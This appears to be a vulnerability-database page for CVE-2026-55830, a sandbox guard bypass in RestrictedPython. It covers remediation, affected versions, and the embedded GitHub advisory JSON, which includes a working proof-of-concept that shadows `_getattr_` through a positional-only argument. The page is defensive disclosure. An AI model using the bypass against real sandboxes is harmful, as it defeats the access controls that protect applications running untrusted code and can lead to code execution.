CVE-2026-55830: RestrictedPython RestrictedPython Guard Hooks Can Be Vulnerability
HIGHCVE-2026-55830 is a HIGH (CVSS 8.3) restrictedpython guard hooks can be vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting RestrictedPython libraries in the PyPI ecosystem. The issue involves restrictedpython guard hooks can be shadowed via positional-only arguments. Remediation is available by upgrading affected packages to version 8.3.
CVE-2026-55830 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L).
How to Fix CVE-2026-55830
To remediate this vulnerability, upgrade all affected RestrictedPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install RestrictedPython>=8.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show RestrictedPython
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55830, inspect your installed packages using pip:
pip show RestrictedPython
Analyze the terminal output to locate any version of RestrictedPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.3), your application is affected.
Note: The pip show RestrictedPython command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In RestrictedPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55830 Affected RestrictedPython Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
RestrictedPython
|
PyPI |
< 8.3
|
8.3
|
References
Frequently Asked Questions
What is CVE-2026-55830?
Which RestrictedPython versions are affected?
What version fixes CVE-2026-55830?
Is RestrictedPython affected?
What is the CVSS score of CVE-2026-55830?
What CWE is associated with CVE-2026-55830?
How can I check PyPI dependencies for CVE-2026-55830?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-ffg3-p8fm-mjx2",
"modified" : "2026-08-28T22:51:35Z",
"published" : "2026-08-28T22:51:35Z",
"aliases" : [ "CVE-2026-55830" ],
"summary" : "RestrictedPython guard hooks can be shadowed via positional-only arguments",
"details" : "### Impact\n\nRestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes `_getattr_(obj, name)`, item access becomes `_getitem_(obj, key)`, writes go through `_write_`, and print goes through `_print_`. The embedding application supplies these hooks to enforce its policy.\n\nArgument-name validation rejects these protected names for regular arguments, `*args`, `**kwargs`, and keyword-only arguments, but it misses positional-only arguments (the ones before `/`). So a function like:\n\n```python\ndef f(_getattr_=evil, /):\n return o.x\n```\n\nmakes `_getattr_` a local that shadows the policy hook, and the rewritten access calls `evil` instead. The same works for `_getitem_`, `_write_`, and `_print_`. Shadowing `_print_` can also be used to capture the internal `_getattr_` hook that RestrictedPython passes in.\n\nThe result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.\n\n### Proof of concept\n\nOn an unpatched RestrictedPython this prints `shadowed` and an empty `calls` list, meaning the policy `_getattr_` never ran. With the fix, `compile_restricted` rejects the code.\n\n```python\nfrom RestrictedPython import compile_restricted\nfrom RestrictedPython.Guards import safe_globals, safer_getattr\n\ncalls = []\ndef policy_getattr(obj, name, default=None):\n calls.append(name) # the real guard records every access\n return safer_getattr(obj, name, default)\n\nsrc = \"\"\"\ndef f(o, _getattr_=lambda obj, name: \"shadowed\", /):\n return o.x\n\"\"\"\n\ncode = compile_restricted(src, \"<s>\", \"exec\") # currently compiles, should be rejected\ng = dict(safe_globals)\ng[\"_getattr_\"] = policy_getattr\nexec(code, g)\n\nclass O:\n x = \"secret\"\n\nprint(g[\"f\"](O())) # -> \"shadowed\" (attacker's local was used)\nprint(calls) # -> [] (policy _getattr_ never ran)\n```\n\n### Patches\n\nThe fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.\n\n### Workarounds\n\nNone other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "RestrictedPython"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "8.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 8.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-ffg3-p8fm-mjx2"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55830"
}, {
"type" : "WEB",
"url" : "https://github.com/zopefoundation/RestrictedPython/commit/3737596ec9f28c34a073cc845bd2f4c0a80cb671"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/zopefoundation/RestrictedPython"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-28T22:51:35Z",
"nvd_published_at" : "2026-07-08T22:17:15Z"
}
}